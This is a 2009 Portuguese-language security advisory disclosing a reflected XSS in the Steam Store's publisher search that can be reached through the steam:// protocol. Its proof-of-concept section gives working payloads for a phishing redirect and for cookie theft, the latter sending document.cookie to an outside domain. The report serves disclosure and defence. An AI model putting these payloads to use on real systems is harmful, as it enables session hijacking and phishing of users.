

Brasil, São Paulo, 2 de maio de 2009.

Gabriel Coutinho de Lima

www.falandodeseguranca.com

Relatório de falhas de segurança no aplicativo

STEAM

(Valve Corporation)

- Phishing

- Cross-Site Script (XSS)



O que é STEAM?

Segundo o artigo na wikipédia brasileira[1], “**Steam** é um programa de computador de gestão de direitos digitais criado pela Valve para tentar combater a pirataria e fornecer serviços como atualização automática de jogos aos usuários. Atualmente o Steam tem mais de 2.500.000 contas. O programa também conta com um sistema de amigos, que permite que você possa criar uma rede de amigos on-line e poder ver em qual servidor ele está jogando.”

[1] <http://pt.wikipedia.org/wiki/Steam>



Descrição da Falha:

Um site na internet pode forçar, pelo navegador da vítima, a execução do Steam Protocol (steam://) fazendo com que, na aba Steam Store, seja aberto um link vulnerável a cross-site script da steam store (<http://store.steampowered.com>). É possível executar Java Script, e com isso obter o cookie do usuário, os aplicativos associados à conta, ou redirecionar a outra página sem que seja mostrado ao usuário que ele não se encontra mais na steam store (phishing).



Prova do Conceito:

- **Cross-Site Script (XSS) na Steam Store:**

No sistema de busca da Steam Store, ao buscarmos por uma produtora de jogos específica, é possível injetar códigos no nome a ser pesquisado.

Exemplo:

```
http://store.steampowered.com/search/?publisher=<img%20src=a%20onerror=alert('xss')>
```

O exemplo acima, criaria uma imagem de nome “a” na página e ao falhar o carregamento, um alerta com o conteúdo “xss” é exibido.

- **Chamando o link vulnerável da Steam Store pelo Steam Protocol:**

O steam, ao ser instalado, adiciona no registro do Windows o que eles denominaram de Steam Protocol. Trata-se de uma série de comandos que podem ser executados como URLs em navegadores para uso interno.

Um destes comandos é o Publisher (*steam://publisher/valor*). Abaixo, a documentação deste comando, segundo página na wiki oficial da valve[2]:

[steam://publisher/<name>](#) Loads the specified publisher catalogue in the Store. Type the publisher's name in lowercase, e.g. activision or valve.

O link [steam://publisher/valve](#) carrega, na aba Steam Store do Steam, a página <http://store.steampowered.com/publisher/valve/>. Porém, caso o nome não exista, o valor é enviado ao sistema de busca, com o mesmo link vulnerável citado acima.

*[2] http://developer.valvesoftware.com/wiki/Steam_browser_protocol



Neste caso, para reproduzirmos a mesma ação dada no exemplo do link vulnerável, usamos:

```
steam://publisher/<img%20src=a%20onerror=alert('xss')>
```

- **Limitações:**

Não é possível passar barras (/) na URL do Steam Protocol, uma vez que a mesma é usada para divisão de parâmetros.

O código a ser injetado deve ter no máximo 235 caracteres.

- **Phishing – Redirecionando o Usuário:**

Uma vez que a Steam Store não exibe a URL em que o usuário está navegando, apenas redirecioná-lo já é o suficiente para enganá-lo. O único meio de observar a URL atual é vendo as propriedades da página (*botão direito > Propriedades*).

O exemplo abaixo redireciona a vítima para a url <http://falandodeseguranca.com>, usando `String.fromCharCode` para passar os caracteres “://” :

```
steam://publisher/<img%20src=a%20onerror=document.location.href='http'+String.fromCharCode(58,47,47)+'falandodeseguranca.com';>
```

- **Roubo de Cookie da Steam Store**

Técnicas de roubo de cookie podem ser utilizadas, desde que o código injetado não passe da limitação de 235 caracteres.

```
steam://publisher/<img%20src=a%20onerror=document.location.href='http'+String.fromCharCode(58,47,47)+'falandodeseguranca.com'+String.fromCharCode(47)+document.cookie;>
```



- **Identificando jogos associados a conta da vítima:**

Entre as variáveis existentes no Cookie, está a InstalledApps que armazena o número de identificação (ID) dos jogos instalados.

Exemplo:

```
InstalledApps=0,5,10,70,205;
```

Neste caso, os jogos são:

0 - Base Goldsource Shared Binaries

5 - Half-Life Dedicated Server

10 - Counter-Strike

70 - Half-Life

205 - Source Dedicated Server

A lista de aplicativos e seus respectivos Ids está disponível na wiki de desenvolvimento da Valve, no link: http://developer.valvesoftware.com/wiki/Steam_Application_IDs



Créditos:

Descoberta da Falha:

Gabriel Coutinho de Lima – gabriel@falandodeseguranca.com - www.falandodeseguranca.com

Tradução para o inglês:

Gustavo de Paula Ribeiro - contato@guribeiro.com.br – www.guribeiro.com.br

Inspirado pela [falha de segurança no chromehtml://](#) publicado pela IBM Rational Application Security Insider.

